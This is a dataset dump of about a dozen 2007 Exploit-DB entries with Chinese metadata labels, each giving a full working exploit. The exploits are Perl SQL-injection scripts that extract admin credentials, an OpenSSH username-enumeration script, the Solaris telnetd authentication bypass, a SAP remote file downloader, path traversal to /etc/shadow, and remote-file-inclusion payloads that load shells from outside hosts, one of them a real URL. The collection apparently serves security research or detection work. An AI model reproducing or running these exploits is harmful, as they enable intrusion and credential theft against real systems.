QLWD/code_shield huggingface dataset:
标题: Xaran CMS 2.0 - 'xarancms_haupt.php' SQL Injection EDB-ID: 3298 CVE: 2006-3176 类型: WEBAPPS 平台: PHP 发布日期: 2007-02-13 漏洞利用脚本: #!/usr/bin/perl
#[Script Name: Xaran Cms <= V2.0 (xarancms_haupt.php) Remote SQL Injection Exploit
#[Coded by   : ajann
#[Author     : ajann
#[Contact    : :(
#[S.Page     : http://www.xarancms.de
#[$$         : 149.00  EUR
#[..         : ajann,Turkey

use IO::Socket;
if(@ARGV < 1){
print "
[========================================================================
[//    Xaran Cms <= V2.0 (xarancms_haupt.php) Remote SQL Injection Exploit
[//                   Usage: exploit.pl [target]
[//                   Example: exploit.pl victim.com
[//                   Example: exploit.pl victim.com
[//                           Vuln&Exp : ajann
[========================================================================
";
exit();
}
#Local variables
$server = $ARGV[0];
$server =~ s/(http:\/\/)//eg;
$host = "http://".$server;
$port = "80";
$file = "/xarancms_haupt.php?id=";

print "Script <DIR> : ";
$dir = <STDIN>;
chop ($dir);

if ($dir =~ /exit/){
print "-- Exploit Failed[You Are Exited] \n";
exit();
}

if ($dir =~ /\//){}
else {
print "-- Exploit Failed[No DIR] \n";
exit();
 }


$target = "-1%20union%20select%20concat(char(117,115,101,114,110,97,109,101,58),konfiguration_benutzername,char(32,112,97,115,115,119,111,114,100,58),konfiguration_benutzerkennwort)%20from%20xarancms_konfiguration";
$target = $host.$dir.$file.$target;

#Writing data to socket
print "+**********************************************************************+\n";
print "+ Trying to connect: $server\n";
$socket = IO::Socket::INET->new(Proto => "tcp", PeerAddr => "$server", PeerPort => "$port") || die "\n+ Connection failed...\n";
print $socket "GET $target HTTP/1.1\n";
print $socket "Host: $server\n";
print $socket "Accept: */*\n";
print $socket "Connection: close\n\n";
print "+ Connected!...\n";
#Getting
while($answer = <$socket>) {
if ($answer =~ /letzte Aktualisierung: username:(.*?) pass/){
print "+ Exploit succeed! Getting admin information.\n";
print "+ ---------------- +\n";
print "+ Username: $1\n";
}

if ($answer =~ /password:(.*?)<\/div>/){
print "+ Password: $1\n";
}

if ($answer =~ /Syntax error/) { 
print "+ Exploit Failed : ( \n";
print "+**********************************************************************+\n";
exit(); 
}

if ($answer =~ /Internal Server Error/) {
print "+ Exploit Failed : (  \n";
print "+**********************************************************************+\n";
exit(); 
}
 }

# milw0rm.com [2007-02-13] URL: https://www.exploit-db.com/exploits/3298
标题: Portable OpenSSH 3.6.1p-PAM/4.1-SuSE - Timing Attack EDB-ID: 3303 CVE: 2006-5229 2003-0190 类型: REMOTE 平台: MULTIPLE 发布日期: 2007-02-13 漏洞利用脚本: #!/bin/bash

#
# $Id: raptor_sshtime,v 1.1 2007/02/13 16:38:57 raptor Exp $
#
# raptor_sshtime - [Open]SSH remote timing attack exploit
# Copyright (c) 2006 Marco Ivaldi <raptor@0xdeadbeef.info>
#
# OpenSSH-portable 3.6.1p1 and earlier with PAM support enabled immediately 
# sends an error message when a user does not exist, which allows remote 
# attackers to determine valid usernames via a timing attack (CVE-2003-0190).
#
# OpenSSH portable 4.1 on SUSE Linux, and possibly other platforms and versions,
# and possibly under limited configurations, allows remote attackers to 
# determine valid usernames via timing discrepancies in which responses take 
# longer for valid usernames than invalid ones, as demonstrated by sshtime. 
# NOTE: as of 20061014, it appears that this issue is dependent on the use of 
# manually-set passwords that causes delays when processing /etc/shadow due to 
# an increased number of rounds (CVE-2006-5229).
# 
# This is a simple shell script based on expect meant to remotely analyze 
# timing differences in sshd "Permission denied" replies. Depending on OpenSSH 
# version and configuration, it may lead to disclosure of valid usernames. 
#
# Usage example: 
# [make sure the target hostkey has been approved before]
# ./sshtime 192.168.0.1 dict.txt
#

# Some vars
port=22

# Command line
host=$1
dict=$2

# Local functions
function head() {
 echo ""
 echo "raptor_sshtime - [Open]SSH remote timing attack exploit"
 echo "Copyright (c) 2006 Marco Ivaldi <raptor@0xdeadbeef.info>"
 echo ""
}

function foot() {
 echo ""
 exit 0
}
 
function usage() {
 head
 echo "[make sure the target hostkey has been approved before]"
 echo ""
 echo "usage  : ./sshtime <target> <wordlist>"
 echo "example: ./sshtime 192.168.0.1 dict.txt"
 foot
}

function notfound() {
 head
 echo "error  : expect interpreter not found!"
 foot
}

# Check if expect is there
expect=`which expect 2>/dev/null`
if [ $? -ne 0 ]; then
 notfound
fi

# Input control
if [ -z "$2"  ]; then
 usage
fi

# Perform the bruteforce attack
head

for user in `cat $dict`
do
 echo -ne "$user@$host\t\t"
 (time -p $expect -c "log_user 0; spawn -noecho ssh -p $port $host -l $user; for {} 1 {} {expect -nocase \"password*\" {send \"dummy\r\"} eof {exit}}") 2>&1 | grep real
done

foot

# milw0rm.com [2007-02-13] URL: https://www.exploit-db.com/exploits/3303
标题: nabopoll 1.2 - Remote Unprotected Admin Section EDB-ID: 3305 CVE: 2007-0873 类型: WEBAPPS 平台: PHP 发布日期: 2007-02-13 漏洞利用脚本: * nabopoll 1.1.2 sensitive file (admin without password)

* By : sn0oPy

* Risk : high

* site : http://nabocorp.com/

* Dork : inurl:"nabopoll/"

* exploit :

acces without password to :

http://target/nabopoll/admin/config_edit.php
http://target/nabopoll/admin/template_edit.php
http://target/nabopoll/admin/survey_edit.php

* contact : sn0oPy (at) avenir-geopolitique (dot) net [email concealed]

* greetz : [subzero], Avg Team(forums.avenir-geopolitique.net).

http://forums.avenir-geopolitique.net/viewtopic.php?t=2643

# milw0rm.com [2007-02-13] URL: https://www.exploit-db.com/exploits/3305
标题: PHPCC 4.2 Beta - 'nickpage.php?npid' SQL Injection EDB-ID: 3299 CVE: 2007-0985 类型: WEBAPPS 平台: PHP 发布日期: 2007-02-13 漏洞利用脚本: #!/usr/bin/perl
#[Script Name: phpCC Beta <= 4.2 (nickpage.php npid) Remote SQL Injection Exploit
#[Coded by   : ajann
#[Author     : ajann
#[Contact    : :(
#[S.Page     : http://www.phpcc.at
#[$$         : Free
#[..         : ajann,Turkey

use IO::Socket;
if(@ARGV < 1){
print "
[========================================================================
[//    phpCC Beta <= 4.2 (nickpage.php npid) Remote SQL Injection Exploit
[//                   Usage: exploit.pl [target]
[//                   Example: exploit.pl victim.com
[//                   Example: exploit.pl victim.com
[//                           Vuln&Exp : ajann
[========================================================================
";
exit();
}
#Local variables
$server = $ARGV[0];
$server =~ s/(http:\/\/)//eg;
$host = "http://".$server;
$port = "80";
$file = "/nickpage.php?action=sign_gb&npid=";

print "Script <DIR> : ";
$dir = <STDIN>;
chop ($dir);

if ($dir =~ /exit/){
print "-- Exploit Failed[You Are Exited] \n";
exit();
}

if ($dir =~ /\//){}
else {
print "-- Exploit Failed[No DIR] \n";
exit();
 }

print "User <ID>    : ";
$ID = <STDIN>;
chop ($ID);

if ($ID =~ /exit/){
print "-- Exploit Failed[You Are Exited] \n";
exit();
}

$len=length($ID);

if ($len < 10000){}
else {
print "-- Exploit Failed[No User Id] \n";
exit();
 }

$target = "-1'%20union%20select%201,2,3,4,5,6,7,concat(char(117,115,101,114,110,97,109,101,58),username,char(32,112,97,115,115,119,111,114,100,58),password),0,0,0,0,0,0,0,0,0,0,0,0,0%20from%20userdata%20where%20id=".$ID."/*";
$target = $host.$dir.$file.$target;

#Writing data to socket
print "+**********************************************************************+\n";
print "+ Trying to connect: $server\n";
$socket = IO::Socket::INET->new(Proto => "tcp", PeerAddr => "$server", PeerPort => "$port") || die "\n+ Connection failed...\n";
print $socket "GET $target HTTP/1.1\n";
print $socket "Host: $server\n";
print $socket "Accept: */*\n";
print $socket "Connection: close\n\n";
print "+ Connected!...\n";
#Getting
while($answer = <$socket>) {
if ($answer =~ /username:(.*?) pas/){
print "+ Exploit succeed! Getting admin information.\n";
print "+ ---------------- +\n";
print "+ Username: $1\n";
}

if ($answer =~ /password:(.*?)<\/a>/){
print "+ Password: $1\n";
}

if ($answer =~ /Syntax error/) { 
print "+ Exploit Failed : ( \n";
print "+**********************************************************************+\n";
exit(); 
}

if ($answer =~ /Internal Server Error/) {
print "+ Exploit Failed : (  \n";
print "+**********************************************************************+\n";
exit(); 
}
 }

# milw0rm.com [2007-02-13] URL: https://www.exploit-db.com/exploits/3299
标题: IP3 NetAccess < 4.1.9.6 - Arbitrary File Disclosure EDB-ID: 3294 CVE: 2007-0883 类型: REMOTE 平台: HARDWARE 发布日期: 2007-02-11 漏洞利用脚本: I - TITLE

Security advisory: Arbitrary file disclosure vulnerability in
                   IP3 NetAccess leads to full system compromise

II - SUMMARY

Description: Arbitrary file disclosure vulnerability in IP3 NetAccess
             leads to full system compromise

Author: Sebastian Wolfgarten (sebastian at wolfgarten dot com)

Date: February 11th, 2007

Severity: High

References: http://www.devtarget.org/ip3-advisory-02-2007.txt

III - OVERVIEW

IP3's NetAccess is a device created for high demand environments 
such as convention centers or hotels. It handles the Internet access 
and provides for instance firewalling, billing, rate-limiting as well
as various authentication mechanisms. The device is administrated via
SSH or a web-based GUI. Further information about the product can be
found online at http://www.ip3.com/poverview.htm.

IV - DETAILS

Due to inproper input validation, all NetAccess devices with a firmware version
less than 4.1.9.6 are vulnerable to an arbitrary file disclosure vulnerability.
This vulnerability allows an unauthenticated remote attacker to abuse the
web interface and read any file on the remote system. Due to the fact that important
system files are world-readable (see bid #17698), this does include /etc/shadow
and thus leads to a full compromise of the device! In addition an attacker is
able to gain access to the proprietary code base of the device and potentially
identify as well as exploit other (yet unknown) vulnerabilities.

V - EXPLOIT CODE

The trivial vulnerability can be exploited by accessing the file "getfile.cgi"
with a relative file path such as

http://$target/portalgroups/portalgroups/getfile.cgi?filename=../../../../../../../../etc/shadow

As the input to the "filename" parameter is not properly validated accessing
this URL will disclose the contents of /etc/shadow to a remote attacker.

VI - WORKAROUND/FIX

To address this problem, the vendor has released a new firmware version
(4.1.9.6) which is available at http://www.ip3.com. Hence all users of IP3's NetAccess
devices are asked to install this version immediately.

As a temporary workaround, one may also limit the accessibility of the web interface
of the device to authorized personnel only. Nevertheless contacting the vendor and
installing the new firmware version is highly recommended!

VII - DISCLOSURE TIMELINE

31. December 2006 - Notified vendor
31. December 2006 - Vulnerability confirmed
17. January 2007 - Patch released
11. February 2007 - Public disclosure

# milw0rm.com [2007-02-11] URL: https://www.exploit-db.com/exploits/3294
标题: SunOS 5.10/5.11 in.TelnetD - Remote Authentication Bypass EDB-ID: 3293 CVE: 2007-0882 类型: REMOTE 平台: SOLARIS 发布日期: 2007-02-11 漏洞利用脚本: #!/bin/sh
# CLASSIFIED CONFIDENTIAL SOURCE MATERIAL
#
# *********************ATTENTION********************************
# THIS CODE _MUST NOT_ BE DISCLOSED TO ANY THIRD PARTIES
# (C) COPYRIGHT Kingcope, 2007
#
################################################################
echo ""
echo "SunOS 5.10/5.11 in.telnetd Remote Exploit by Kingcope kingcope@gmx.net"
if [ $# -ne 2 ]; then
echo "./sunos <host> <account>"
echo "./sunos localhost bin"
exit
fi
echo ""
echo "ALEX ALEX"
echo ""
telnet -l"-f$2" $1

# milw0rm.com [2007-02-11] URL: https://www.exploit-db.com/exploits/3293
标题: SAP Web Application Server 6.40 - Arbitrary File Disclosure EDB-ID: 3291 CVE: 2006-5784 类型: REMOTE 平台: WINDOWS 发布日期: 2007-02-08 漏洞利用脚本: #!/usr/bin/perl -w

##
## SAP 'enserver.exe' file downloader
## Tested on "SAP Web Application Server Java 6.40" (eval DVD)
## Found & coded by Nicob
##
## The downloaded file is limited to the first 32 kilobytes
## Usual port : TCP/3200+SYSNR
## Exemple : ./r3-stealer-1.0.pl 192.168.2.22 3201 "c:\\boot.ini"
##
## From MSDN (Win2K pre-SP4, WinXP pre-SP2 and WinNT) :
## "\\\\your_box\\pipe\\your_pipe" => get Local Admin (SAPServiceJ2E)
## http://msdn.microsoft.com/library/default.asp?url=/library/en-us/secauthz/security/authorization_constants.asp
##
## File parameter :
## C:\boot.ini
##  \\10.11.12.13\share\image.jpg
## ..\..\..\..\..\..\Documents and Settings\All Users\Application Data\sapdb\wa\httpreq.log (contains passwords !)
##

# Init

use strict;
use IO::Socket;

my $verbose = 0;
# Set this to anything not null to crash the process
my $crash = "";

my $socket;
my $reply;

$|=1;

# Get arguments

if (($#ARGV<2) or ($ARGV[0] eq "-h")) {die "Usage: $0 <ip> <port> <remote filename> (<local filename>)\n";}
my $host=$ARGV[0]; 
my $port=$ARGV[1]; 
my $filename=$ARGV[2]; 
my $output=$ARGV[3]; 

# Calculate variables

my $lg = length($filename);
my $tag1 = sprintf('%x', 0x4F + $lg);
my $tag2 = sprintf('%x', 0x20 + $lg);

# Show banner

print "#####################################################################\n";
print "### SAP 'enserver.exe' file downloader\n";
print "### Downloading '$filename' from '$host'\n";
print "#####################################################################\n\n";

# Define the packets

my $packet1 =
 "0000005dabcde123000000000000005d0000005d06010000000000060000000000040000000000010004000000000003". # Static
 "5f6e69636f625f6e69636f625f6e69636f62315f".        # ASCII string : "_nicob_nicob_nicob1_" 
 "00000000020000003b0000000500000002000000060000000400000001";      # Static

my $packet2 =
 "000000". $tag1. "abcde12300000001000000". $tag1 ."000000". $tag1 .
 "03000000454e430001010000234541410100000013030000000000234541450001000000". $tag2 .
 "0000000000007d00000000000000000000000000". unpack("H*",$filename) . $crash ."000023454144";  # Crash if bad filename length

# Create the socket

$socket = IO::Socket::INET->new(Proto=>"tcp",PeerAddr=>$host,PeerPort => $port)
  || die "Connection refused at [$host:$port]";

# Send the two packet

print $socket pack("H*",$packet1);
print $socket pack("H*",$packet2);

sleep 2;

# Read and display response

recv($socket,$reply,150000,MSG_PEEK);
if ($reply =~ /^(.*)#EAD(.*)$/s) {
 print "File received !\n";
 if ((!defined($output)) or ($output eq "")) {
  print "\n===========================================\n";
  print $2;
  print "\n===========================================\n";
 } else {
  open(OUT, "> $output") || die "Can't open $output ($0)";
  print "File saved as '$output'\n";
  print OUT $2;
  close(OUT);
 }
} else {
 print "Problem interpreting reply :-(\n";
}

# Close the socket

print "\nThe end ...\n";
close $socket;

# milw0rm.com [2007-02-08] URL: https://www.exploit-db.com/exploits/3291
标题: PollMentor 2.0 - 'pollmentorres.asp?id' SQL Injection EDB-ID: 3301 CVE: 2007-0984 类型: WEBAPPS 平台: ASP 发布日期: 2007-02-13 漏洞利用脚本: XxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxX
X                                       X
X Author  : SaO                         X
X Site    : wWw.SaoHackStyLe.cOm        X
X Contact : By.SaO[at]Hotmail[dot]com   X
X                                       X
X                                       X
XxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxX

# Script   : PollMentor v2.0
# Download : http://www.aspindir.com/indir.asp?id=4406
# Demo     : http://www.aspcode.net/products/pollmentor/demo/pollmentor.asp
# ßug in   : pollmentorres.asp
# Exp.     : 
http://[site]/[script-path]/pollmentorres.asp?id=-1+UPDATE+poll+SET+question='HekId';--

# milw0rm.com [2007-02-13] URL: https://www.exploit-db.com/exploits/3301
标题: philboard 1.14 - 'philboard_forum.asp' SQL Injection EDB-ID: 3295 CVE: 2007-0920 类型: WEBAPPS 平台: ASP 发布日期: 2007-02-12 漏洞利用脚本: ----------------------------------------------------

Philboard (id) Remote SQL Injection

----------------------------------------------------

Bulan: xoron

xoron.info - xoron.biz

Google Dork : "Powered by Philboard" , "inurl:philboard_forum.asp"

----------------------------------------------------

Exploit: philboard_forum.asp?forumid=[SQL]

----------------------------------------------------

Example:

Username
philboard_forum.asp?forumid=-1+union+select+0,username,2,3,4,5,6,7,8,7,8,9,10,11,12,13,14,15,16,17,18+from+users

Password
philboard_forum.asp?forumid=-1+union+select+0,password,2,3,4,5,6,7,8,7,8,9,10,11,12,13,14,15,16,17,18+from+users

----------------------------------------------------

Forum: username + password

----------------------------------------------------

Download: open http://www.aspindir.com/indir.asp?id=3538 and click "Ãndirmek iÃ§in tÃ½klayÃ½n" .

----------------------------------------------------

# milw0rm.com [2007-02-12] URL: https://www.exploit-db.com/exploits/3295
标题: OPENi-CMS Site Protection Plugin - Remote File Inclusion EDB-ID: 3292 CVE: 2007-0881 类型: WEBAPPS 平台: PHP 发布日期: 2007-02-11 漏洞利用脚本: ------------------------------------------------------------------------------------
[ECHO_ADV_64$2007] Openi CMS plugins (site protection) remote file inclusion
------------------------------------------------------------------------------------

Author : Ahmad Muammar W.K (a.k.a) y3dips
Date Found : February, 11 2007
Location : Indonesia, Jakarta
web : http://echo.or.id/adv/adv64-y3dips-2007.txt
Critical Lvl : Critical
------------------------------------------------------------------------------------


Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Application : Internal range (site protection), version: 1.0
Openi CMS plugins (http://www.openi-cms.org)
URL : http://www.openi-cms.org
Download-path : http://www.openi-cms.org/oi-download.php/45/file_src/oi_plugin_site_protection_1_0.zip

Description : With this Plugin you can release page ranges only for certain users. The user
must authentifizieren itself with user name and password. Several users for
a page range can be put on. Users and sides which can be protected are put on
in the editorship environment by the administrator.

---------------------------------------------------------------------------

Vulnerability:
~~~~~~~~~~~~~~

Variables "oi_dir" in index.php are not properly sanitized.

---------------index.php --------------------
...
<?PHP
global $config;
require_once($config["oi_dir"]."/base/sitemap_classes.php");

class plg_site_protection extends Plugin {
...
----------------------------------------------


An attacker can exploit this vulnerability with a simple php injection script.

Poc/Exploit:
~~~~~~~~~~~~

http://target-openi/open-admin/plugins/site_protection/index.php?config%5boi_dir%5d=http://attacker/shell.php ?

Notes:
~~~~~~

i have to change the variable "oi_dir" to "openi_dir" to get the cms works (config file),
but then u just change the exploit to

http://target-openi/open-admin/plugins/site_protection/index.php?config%5bopeni_dir%5d=http://attacker/shell.php?

it doesnt matter coz the variable still unsanitized.

---------------------------------------------------------------------------
Shoutz:
~~~~~~~
~ my lovely ana
~ k-159 (never stop advising [pushing] me :P), the_day (echo young evil thinker),
~ and all echo staff
~ str0ke, waraxe, negative
~ newbie_hacker@yahoogroups.com
~ #e-c-h-o @irc.dal.net

---------------------------------------------------------------------------
Contact:
~~~~~~~~

y3dips|| echo|staff || y3dips[at]gmail[dot]com
Homepage: http://y3dips.echo.or.id/

# milw0rm.com [2007-02-11] URL: https://www.exploit-db.com/exploits/3292
标题: AT Contenator 1.0 - 'Root_To_Script' Remote File Inclusion EDB-ID: 3297 CVE: 2007-0983 类型: WEBAPPS 平台: PHP 发布日期: 2007-02-13 漏洞利用脚本: <html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1254">
<title>AT Contenator <= v1.0 (Root_To_Script) Remote File Include Exploit</title>

<script language="JavaScript">
 
//'===============================================================================================
//'[Script Name: AT Contenator <= v1.0 (Root_To_Script) Remote File Include Exploit
//'[Coded by   : ajann
//'[Author     : ajann
//'[Contact    : :(
//'[S.Page     : http://contenator.ansatheus.de/
//'[$$         : Free
//'[Using      : Write Target after Submit Click
//'===============================================================================================

//'[[ERROR]]]------------------------------------------------------
//'....
//'..
//'<?
//'
//'include($Root_To_Script.'class.readdir.php');
//'include($Root_To_Script.'SETUP_VARS.php');
//'
//'?>
//'....
//'..
//'[[ERROR]]]---------------------------------------------------------

//# ajann,Turkey
//# ...

   

     //Basic exploit,but any time : ( 
   var path="/classes/"
   var adres="/_admin/nav.php?" //File name
   var acik ="Root_To_Script=" // Line 2-3
   var shell="http://www.ehcbinningen.ch/komutverivee.txt?" // Shell Script
  
   function command(){
       if (document.rfi.target1.value==""){
          alert("Failed..");
      return false;
    }


  
  rfi.action= document.rfi.target1.value+path+adres+acik+shell; // Ready Target : )
  rfi.submit(); // Form Submit
   }
</script>

</head>

<body bgcolor="#000000">
<center>

<p><b><font face="Verdana" size="2" color="#008000">Site-Assistant <= v0990(paths[version])Remote File Include Exploit</font></b></p>

<p></p>
<form method="post" target="getting" name="rfi" onSubmit="command();">
    <b><font face="Arial" size="1" color="#FF0000">Target:</font><font face="Arial" size="1" color="#808080">[http://[target]/[scriptpath]</font><font color="#00FF00" size="2" face="Arial">
  </font><font color="#FF0000" size="2">&nbsp;</font></b>
  <input type="text" name="target1" size="20" style="background-color: #808000" onmouseover="javascript:this.style.background='#808080';" onmouseout="javascript:this.style.background='#808000';"></p>
  <p><input type="submit" value="Gonder" name="B1"><input type="reset" value="Sifirla" name="B2"></p>
</form>
<p><br>
<iframe name="getting" height="337" width="633" scrolling="yes" frameborder="0"></iframe>
</p>

<b><font face="Verdana" size="2" color="#008000">ajann</font></b></p>
</center>
</body>

</html>

# milw0rm.com [2007-02-13] URL: https://www.exploit-db.com/exploits/3297
标题: Advanced Poll 2.0.5-dev - Remote Admin Session Generator EDB-ID: 3282 CVE: 2007-0845 类型: WEBAPPS 平台: PHP 发布日期: 2007-02-07 漏洞利用脚本: #!/usr/bin/perl -w
# Advanced Poll 2.0.0 >= 2.0.5-dev textfile admin session gen.
#
# 
# 0day!  KEEP IT PRIVATE  0day!
# 
# date: 30/07/06
# 
# diwou <diwou@phucksys.org>
#
# PHCKSEC (c) 2001-2006.
#
# see templates for code execution ;).

use strict;
use warnings;
use LWP::UserAgent;
use MD5;

my ($lwp,$agent,$out,$url,$proxy)=(undef,undef,undef,$ARGV[0],$ARGV[1]);
my %zday=
(
 username => 'jakahw4nk4h',
 'pollvars[poll_username]' => 'jakahw4nk4h',
 password => 'fuckoff',
 'pollvars[poll_password]' => ''
);
$zday{'pollvars[poll_password]'}=&md5($zday{password});
$agent="Hey IDS! i'm gonna fuck your advanced poll right? B===D"; # post method doesnt log it, so doesnt matter.
#$agent="Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.1) Gecko/20060124 Firefox/1.5.0.1";

#
# args: url proxy(optional)
# 
# url: http|https://tatget:(port)/phppoll/
# proxy: http|https://hostname:(port)/
#
die("RTFC! ;)") unless(@ARGV);

# some lwp routines...
$lwp=new LWP::UserAgent();
$lwp->agent($agent);
$lwp->timeout(10);
$lwp->protocols_allowed(['http','https']);
$lwp->proxy(['http','https'],$proxy) if(@ARGV>1);

$url.="/" if($url!~/\/$/);
$url.="admin/index.php";
print "Using proxy ".$proxy."\n" if($proxy);
print "Doing some pretty with ".$url."...\n\n";

$out=$lwp->post($url,\%zday)->content();
if($out=~ /index\.php\?session=((.){32})/)
{
 print "well, you are a bigone ;).\n";
 print "try: ".$url."?session=".$1."&uid=1\n";
}
else
{
 print "don't worry, u can improve me! eh eh eh :D?\n";
}

sub md5
{
 $_=new MD5;
 $_->add(@_);
 return unpack("H*",$_->digest());
}

# milw0rm.com [2007-02-07] URL: https://www.exploit-db.com/exploits/3282